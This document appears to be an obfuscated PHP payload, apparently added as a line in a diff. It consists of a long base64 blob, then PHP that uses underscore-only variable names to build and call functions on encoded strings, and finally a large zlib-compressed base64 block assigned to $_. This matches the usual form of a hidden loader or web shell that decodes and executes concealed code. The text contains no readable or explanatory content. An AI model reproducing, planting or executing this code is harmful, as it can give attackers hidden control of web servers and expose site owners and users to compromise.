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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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